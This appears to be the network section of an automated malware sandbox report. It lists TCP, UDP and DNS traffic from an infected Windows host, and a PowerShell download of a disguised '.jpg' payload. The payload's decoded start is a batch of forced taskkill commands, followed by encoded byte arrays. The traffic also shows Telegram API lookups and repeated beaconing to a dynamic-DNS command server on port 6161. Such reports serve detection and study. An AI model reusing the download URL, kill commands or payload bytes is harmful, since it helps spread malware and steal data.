Nov 25, 2024 15:22:44.042227030 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:44.049438000 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:44.049460888 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.268868923 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.268953085 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:45.272442102 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:45.272480011 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.272744894 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.278354883 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:45.319340944 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.727421999 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.727493048 CET	443	49709	34.117.59.81	192.168.2.8
Nov 25, 2024 15:22:45.727565050 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:45.729748964 CET	49709	443	192.168.2.8	34.117.59.81
Nov 25, 2024 15:22:46.546374083 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:46.546466112 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:46.546551943 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:46.546999931 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:46.547033072 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:47.967592001 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:47.967678070 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:47.969300985 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:47.969331026 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:47.969655991 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:47.970659971 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.011343002 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:48.011410952 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.011423111 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:48.628102064 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:48.628185987 CET	443	49710	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:48.628256083 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.628770113 CET	49710	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.878149986 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.878180027 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:48.878246069 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.904439926 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:48.904452085 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:49.554106951 CET	49712	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:22:49.674177885 CET	6161	49712	178.208.169.197	192.168.2.8
Nov 25, 2024 15:22:49.674407005 CET	49712	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:22:49.686116934 CET	49712	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:22:49.809386015 CET	6161	49712	178.208.169.197	192.168.2.8
Nov 25, 2024 15:22:50.318586111 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.319698095 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.319729090 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.319842100 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.319864988 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.319994926 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320015907 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320138931 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320158005 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320271969 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320300102 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320425987 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320458889 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320539951 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320549965 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320688963 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320719004 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320738077 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320738077 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320750952 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320760965 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320768118 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320774078 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320835114 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320848942 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320878983 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320897102 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320909977 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320916891 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.320938110 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.320947886 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321069002 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321108103 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321129084 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321129084 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321145058 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321152925 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321181059 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321193933 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321238041 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321238041 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321258068 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321264982 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321311951 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321311951 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321337938 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321346045 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321357012 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321357012 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321369886 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321377039 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:50.321396112 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:50.321409941 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:52.995995998 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:52.996113062 CET	443	49711	149.154.167.220	192.168.2.8
Nov 25, 2024 15:22:52.996373892 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:22:52.999639988 CET	49711	443	192.168.2.8	149.154.167.220
Nov 25, 2024 15:23:11.597398996 CET	6161	49712	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:11.597497940 CET	49712	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:16.628904104 CET	49712	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:16.630218029 CET	49714	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:16.750276089 CET	6161	49712	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:16.750838995 CET	6161	49714	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:16.751199007 CET	49714	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:16.751451969 CET	49714	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:16.871429920 CET	6161	49714	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:38.738218069 CET	6161	49714	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:38.738289118 CET	49714	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:43.845613003 CET	49714	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:43.846872091 CET	49717	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:43.966981888 CET	6161	49714	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:43.967924118 CET	6161	49717	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:43.968054056 CET	49717	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:43.968529940 CET	49717	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:23:44.090171099 CET	6161	49717	178.208.169.197	192.168.2.8
Nov 25, 2024 15:23:49.033512115 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:23:49.154038906 CET	443	49703	13.107.246.63	192.168.2.8
Nov 25, 2024 15:23:49.154242992 CET	49703	443	192.168.2.8	13.107.246.63
Nov 25, 2024 15:24:05.926395893 CET	6161	49717	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:05.928198099 CET	49717	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:10.939218998 CET	49717	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:10.940041065 CET	49718	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:11.063386917 CET	6161	49717	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:11.063543081 CET	6161	49718	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:11.063910007 CET	49718	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:11.064466000 CET	49718	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:11.184423923 CET	6161	49718	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:33.011812925 CET	6161	49718	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:33.011899948 CET	49718	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:38.017643929 CET	49718	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:38.019021988 CET	49719	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:38.138328075 CET	6161	49718	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:38.139522076 CET	6161	49719	178.208.169.197	192.168.2.8
Nov 25, 2024 15:24:38.139651060 CET	49719	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:38.140114069 CET	49719	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:24:38.262214899 CET	6161	49719	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:00.114622116 CET	6161	49719	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:00.114720106 CET	49719	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:05.126965046 CET	49719	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:05.249360085 CET	6161	49719	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:05.507419109 CET	49720	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:05.825428009 CET	6161	49720	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:05.825526953 CET	49720	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:05.825938940 CET	49720	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:05.946125031 CET	6161	49720	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:27.755732059 CET	6161	49720	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:27.755795002 CET	49720	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:32.773791075 CET	49720	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:32.774642944 CET	49721	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:32.894442081 CET	6161	49720	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:32.894782066 CET	6161	49721	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:32.894979954 CET	49721	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:32.895472050 CET	49721	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:33.017524958 CET	6161	49721	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:54.819591045 CET	6161	49721	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:54.819859982 CET	49721	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:59.830066919 CET	49721	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:59.831240892 CET	49722	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:59.954807043 CET	6161	49721	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:59.955987930 CET	6161	49722	178.208.169.197	192.168.2.8
Nov 25, 2024 15:25:59.956235886 CET	49722	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:25:59.956516027 CET	49722	6161	192.168.2.8	178.208.169.197
Nov 25, 2024 15:26:00.076596022 CET	6161	49722	178.208.169.197	192.168.2.8
Nov 25, 2024 15:26:21.929388046 CET	6161	49722	178.208.169.197	192.168.2.8
Nov 25, 2024 15:26:21.929488897 CET	49722	6161	192.168.2.8	178.208.169.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 15:22:16.223692894 CET	51725	53	192.168.2.8	1.1.1.1
Nov 25, 2024 15:22:16.865111113 CET	53	51725	1.1.1.1	192.168.2.8
Nov 25, 2024 15:22:43.893712997 CET	61972	53	192.168.2.8	1.1.1.1
Nov 25, 2024 15:22:44.031040907 CET	53	61972	1.1.1.1	192.168.2.8
Nov 25, 2024 15:22:46.407434940 CET	54077	53	192.168.2.8	1.1.1.1
Nov 25, 2024 15:22:46.545154095 CET	53	54077	1.1.1.1	192.168.2.8
Nov 25, 2024 15:22:49.222029924 CET	63521	53	192.168.2.8	1.1.1.1
Nov 25, 2024 15:22:49.549777031 CET	53	63521	1.1.1.1	192.168.2.8
Nov 25, 2024 15:25:05.127613068 CET	63738	53	192.168.2.8	1.1.1.1
Nov 25, 2024 15:25:05.506541967 CET	53	63738	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 15:22:16.223692894 CET	192.168.2.8	1.1.1.1	0xe6a3	Standard query (0)	almamas.com.ly	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:43.893712997 CET	192.168.2.8	1.1.1.1	0xcfa8	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:46.407434940 CET	192.168.2.8	1.1.1.1	0x9e57	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:49.222029924 CET	192.168.2.8	1.1.1.1	0x6ee9	Standard query (0)	ducksex.ddnsfree.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:25:05.127613068 CET	192.168.2.8	1.1.1.1	0x54fe	Standard query (0)	ducksex.ddnsfree.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 15:22:16.865111113 CET	1.1.1.1	192.168.2.8	0xe6a3	No error (0)	almamas.com.ly		168.119.208.219	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:31.421943903 CET	1.1.1.1	192.168.2.8	0xf033	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:31.421943903 CET	1.1.1.1	192.168.2.8	0xf033	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:44.031040907 CET	1.1.1.1	192.168.2.8	0xcfa8	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:46.545154095 CET	1.1.1.1	192.168.2.8	0x9e57	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:22:49.549777031 CET	1.1.1.1	192.168.2.8	0x6ee9	No error (0)	ducksex.ddnsfree.com		178.208.169.197	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:23:33.540409088 CET	1.1.1.1	192.168.2.8	0x8125	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 15:23:33.540409088 CET	1.1.1.1	192.168.2.8	0x8125	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:23:36.218230009 CET	1.1.1.1	192.168.2.8	0xa56e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:23:36.218230009 CET	1.1.1.1	192.168.2.8	0xa56e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 15:25:05.506541967 CET	1.1.1.1	192.168.2.8	0x54fe	No error (0)	ducksex.ddnsfree.com		178.208.169.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

almamas.com.ly

ipinfo.io

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	168.119.208.219	443	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 14:22:24 UTC	89	OUT	GET /wblwxiun.rtw/pnilrykd.jpg HTTP/1.1 Host: almamas.com.ly Connection: Keep-Alive
2024-11-25 14:22:24 UTC	209	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 14:22:24 GMT Server: Apache Last-Modified: Mon, 18 Nov 2024 12:51:34 GMT Accept-Ranges: bytes Content-Length: 271030 Connection: close Content-Type: image/jpeg
2024-11-25 14:22:24 UTC	7983	IN	Data Raw: 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 43 43 6c 65 61 6e 65 72 42 72 6f 77 73 65 72 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 61 73 70 6e 65 74 5f 72 65 67 62 72 6f 77 73 65 72 73 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 61 73 70 6e 65 74 5f 63 6f 6d 70 69 6c 65 72 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 41 70 70 4c 61 75 6e 63 68 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 49 6e 73 74 61 6c 6c 55 74 69 6c 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 6a 73 63 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 4d 53 42 75 69 6c 64 2e 65 78 65 20 2f 46 0a 74 61 73 6b 6b 69 6c 6c 20 2f 49 4d 20 52 65 67 41 73 6d 2e 65 78 65 20 2f 46 0a 74 61 73 Data Ascii: taskkill /IM CCleanerBrowser.exe /Ftaskkill /IM aspnet_regbrowsers.exe /Ftaskkill /IM aspnet_compiler.exe /Ftaskkill /IM AppLaunch.exe /Ftaskkill /IM InstallUtil.exe /Ftaskkill /IM jsc.exe /Ftaskkill /IM MSBuild.exe /Ftaskkill /IM RegAsm.exe /Ftas
2024-11-25 14:22:24 UTC	8000	IN	Data Raw: 30 2c 31 38 32 2c 32 35 34 2c 31 37 32 2c 34 30 2c 31 36 39 2c 33 35 2c 32 31 35 2c 31 36 37 2c 31 38 31 2c 32 30 33 2c 31 39 36 2c 32 34 34 2c 35 37 2c 32 31 37 2c 38 36 2c 31 35 36 2c 32 33 35 2c 32 31 36 2c 32 31 34 2c 37 31 2c 32 34 33 2c 32 31 38 2c 32 31 36 2c 32 31 34 2c 37 31 2c 32 34 32 2c 31 32 30 2c 31 39 35 2c 37 30 2c 31 35 30 2c 37 38 2c 39 36 2c 32 34 30 2c 31 32 37 2c 31 34 31 2c 38 36 2c 32 32 31 2c 38 35 2c 31 32 39 2c 31 37 39 2c 31 30 33 2c 36 32 2c 31 37 32 2c 31 31 32 2c 31 38 31 2c 32 32 37 2c 31 30 36 2c 31 31 30 2c 39 35 2c 33 37 2c 31 34 32 2c 37 35 2c 31 35 32 2c 31 30 32 2c 32 31 32 2c 31 35 35 2c 31 32 37 2c 31 36 37 2c 31 34 37 2c 39 37 2c 31 34 38 2c 37 30 2c 32 31 35 2c 31 30 36 2c 31 31 37 2c 39 30 2c 39 32 2c 31 31 35 2c Data Ascii: 0,182,254,172,40,169,35,215,167,181,203,196,244,57,217,86,156,235,216,214,71,243,218,216,214,71,242,120,195,70,150,78,96,240,127,141,86,221,85,129,179,103,62,172,112,181,227,106,110,95,37,142,75,152,102,212,155,127,167,147,97,148,70,215,106,117,90,92,115,
2024-11-25 14:22:24 UTC	8000	IN	Data Raw: 35 2c 32 33 39 2c 31 39 35 2c 31 35 31 2c 31 39 2c 31 39 34 2c 31 33 39 2c 31 30 39 2c 32 31 30 2c 36 30 2c 31 32 39 2c 31 33 35 2c 31 33 30 2c 31 30 36 2c 37 33 2c 32 31 39 2c 33 37 2c 32 33 37 2c 35 37 2c 32 33 33 2c 39 31 2c 32 31 38 2c 32 33 2c 32 31 31 2c 38 36 2c 37 32 2c 39 35 2c 31 36 30 2c 32 33 37 2c 31 39 39 2c 32 33 37 2c 31 33 39 2c 31 30 34 2c 35 39 2c 31 37 36 2c 35 38 2c 33 39 2c 31 32 35 2c 32 34 33 2c 32 33 34 2c 31 39 37 2c 31 38 30 2c 32 31 2c 32 31 30 2c 32 33 2c 31 30 34 2c 31 38 37 2c 31 30 33 2c 32 34 35 2c 33 34 2c 32 31 38 2c 31 34 36 2c 31 38 36 2c 31 35 36 2c 32 34 34 2c 31 32 31 2c 31 38 36 2c 31 39 37 2c 31 38 30 2c 32 31 2c 32 31 30 2c 31 31 2c 32 31 38 2c 39 30 2c 38 31 2c 32 31 39 2c 32 31 35 2c 31 31 36 2c 31 39 37 2c 32 Data Ascii: 5,239,195,151,19,194,139,109,210,60,129,135,130,106,73,219,37,237,57,233,91,218,23,211,86,72,95,160,237,199,237,139,104,59,176,58,39,125,243,234,197,180,21,210,23,104,187,103,245,34,218,146,186,156,244,121,186,197,180,21,210,11,218,90,81,219,215,116,197,2
2024-11-25 14:22:24 UTC	8000	IN	Data Raw: 36 36 2c 32 33 38 2c 31 36 33 2c 37 36 2c 37 38 2c 39 39 2c 31 38 33 2c 35 2c 32 33 37 2c 31 32 30 2c 31 37 35 2c 32 38 2c 32 33 33 2c 32 33 30 2c 31 35 39 2c 36 31 2c 32 34 37 2c 31 37 30 2c 31 36 34 2c 31 35 30 2c 32 32 31 2c 31 36 35 2c 31 32 30 2c 31 36 30 2c 31 32 33 2c 33 39 2c 31 38 31 2c 31 39 35 2c 38 33 2c 31 34 37 2c 31 32 35 2c 31 36 39 2c 32 31 39 2c 31 39 39 2c 32 32 38 2c 34 2c 31 38 36 2c 31 33 2c 31 35 32 2c 32 32 35 2c 31 37 2c 31 35 34 2c 32 32 35 2c 32 33 33 2c 31 39 36 2c 32 31 33 2c 32 33 39 2c 32 36 2c 32 36 2c 31 30 34 2c 31 33 34 2c 31 35 38 2c 31 34 33 2c 32 35 35 2c 32 34 33 2c 31 38 31 2c 32 33 38 2c 31 37 39 2c 37 33 2c 31 34 32 2c 32 31 39 2c 31 32 35 2c 35 35 2c 32 32 2c 32 35 34 2c 31 31 37 2c 38 31 2c 31 37 33 2c 32 35 34 Data Ascii: 66,238,163,76,78,99,183,5,237,120,175,28,233,230,159,61,247,170,164,150,221,165,120,160,123,39,181,195,83,147,125,169,219,199,228,4,186,13,152,225,17,154,225,233,196,213,239,26,26,104,134,158,143,255,243,181,238,179,73,142,219,125,55,22,254,117,81,173,254
2024-11-25 14:22:24 UTC	8000	IN	Data Raw: 2c 31 30 34 2c 34 2c 32 32 37 2c 31 35 38 2c 32 37 2c 31 32 37 2c 31 37 34 2c 38 34 2c 31 36 36 2c 31 36 30 2c 31 39 31 2c 31 31 38 2c 36 34 2c 32 33 39 2c 39 33 2c 31 33 36 2c 32 33 2c 31 32 38 2c 31 38 32 2c 32 31 31 2c 31 37 34 2c 32 34 34 2c 31 30 37 2c 31 35 36 2c 33 33 2c 31 36 35 2c 36 38 2c 34 36 2c 31 37 32 2c 31 30 37 2c 32 30 30 2c 32 35 33 2c 31 32 30 2c 36 36 2c 31 35 33 2c 31 37 32 2c 32 34 30 2c 31 33 33 2c 32 39 2c 31 32 35 2c 36 37 2c 32 31 37 2c 32 35 30 2c 31 35 35 2c 39 38 2c 37 33 2c 32 35 30 2c 38 39 2c 32 32 32 2c 34 39 2c 31 33 30 2c 39 30 2c 32 34 31 2c 31 37 34 2c 31 33 34 2c 37 36 2c 35 32 2c 36 39 2c 36 39 2c 31 37 33 2c 31 36 34 2c 31 39 31 2c 31 38 35 2c 31 36 31 2c 31 32 33 2c 31 36 2c 33 36 2c 31 33 39 2c 31 38 35 2c 35 30 Data Ascii: ,104,4,227,158,27,127,174,84,166,160,191,118,64,239,93,136,23,128,182,211,174,244,107,156,33,165,68,46,172,107,200,253,120,66,153,172,240,133,29,125,67,217,250,155,98,73,250,89,222,49,130,90,241,174,134,76,52,69,69,173,164,191,185,161,123,16,36,139,185,50
2024-11-25 14:22:24 UTC	8000	IN	Data Raw: 32 34 39 2c 31 30 31 2c 31 38 30 2c 31 34 38 2c 32 31 39 2c 31 35 31 2c 33 34 2c 31 38 38 2c 31 35 32 2c 31 30 36 2c 32 31 36 2c 31 30 2c 31 38 35 2c 31 38 30 2c 32 32 38 2c 31 38 30 2c 32 31 34 2c 31 33 38 2c 31 38 32 2c 31 30 31 2c 31 30 30 2c 32 32 37 2c 32 30 32 2c 33 39 2c 35 38 2c 31 35 30 2c 31 37 2c 37 31 2c 32 30 33 2c 31 39 2c 32 39 2c 38 37 2c 34 39 2c 31 31 31 2c 31 37 33 2c 31 39 36 2c 35 35 2c 32 33 30 2c 32 35 31 2c 31 31 37 2c 37 39 2c 31 31 36 2c 31 31 32 2c 31 30 30 2c 32 35 35 2c 34 32 2c 31 38 30 2c 31 33 32 2c 33 39 2c 38 2c 32 30 37 2c 31 30 37 2c 36 36 2c 31 32 30 2c 35 37 2c 31 39 37 2c 33 35 2c 32 31 32 2c 31 37 31 2c 32 34 37 2c 38 31 2c 31 35 2c 32 31 39 2c 31 36 31 2c 31 35 39 2c 35 32 2c 31 34 37 2c 31 35 2c 31 35 35 2c 32 33 Data Ascii: 249,101,180,148,219,151,34,188,152,106,216,10,185,180,228,180,214,138,182,101,100,227,202,39,58,150,17,71,203,19,29,87,49,111,173,196,55,230,251,117,79,116,112,100,255,42,180,132,39,8,207,107,66,120,57,197,35,212,171,247,81,15,219,161,159,52,147,15,155,23
2024-11-25 14:22:25 UTC	8000	IN	Data Raw: 31 2c 31 36 35 2c 32 34 32 2c 32 34 37 2c 32 31 36 2c 34 37 2c 31 36 2c 31 31 35 2c 37 36 2c 31 36 34 2c 36 32 2c 39 38 2c 31 34 2c 31 37 36 2c 32 33 31 2c 31 34 36 2c 31 31 35 2c 31 36 35 2c 31 32 34 2c 32 34 32 2c 31 34 32 2c 31 30 2c 38 38 2c 31 35 31 2c 33 31 2c 31 34 38 2c 31 36 38 2c 31 39 32 2c 32 35 30 2c 36 2c 31 35 32 2c 31 34 31 2c 31 31 31 2c 31 35 31 2c 34 30 2c 31 34 39 2c 32 34 32 2c 31 31 31 2c 32 33 36 2c 32 34 39 2c 32 32 38 2c 31 34 34 2c 36 38 2c 31 38 39 2c 31 39 34 2c 31 32 35 2c 34 2c 32 31 32 2c 31 37 31 2c 31 38 2c 31 38 31 2c 31 36 33 2c 31 34 38 2c 31 34 35 2c 39 33 2c 36 34 2c 32 35 34 2c 33 34 2c 38 31 2c 31 39 34 2c 39 30 2c 37 38 2c 32 34 36 2c 36 39 2c 33 34 2c 31 34 33 2c 31 33 39 2c 38 34 2c 31 34 39 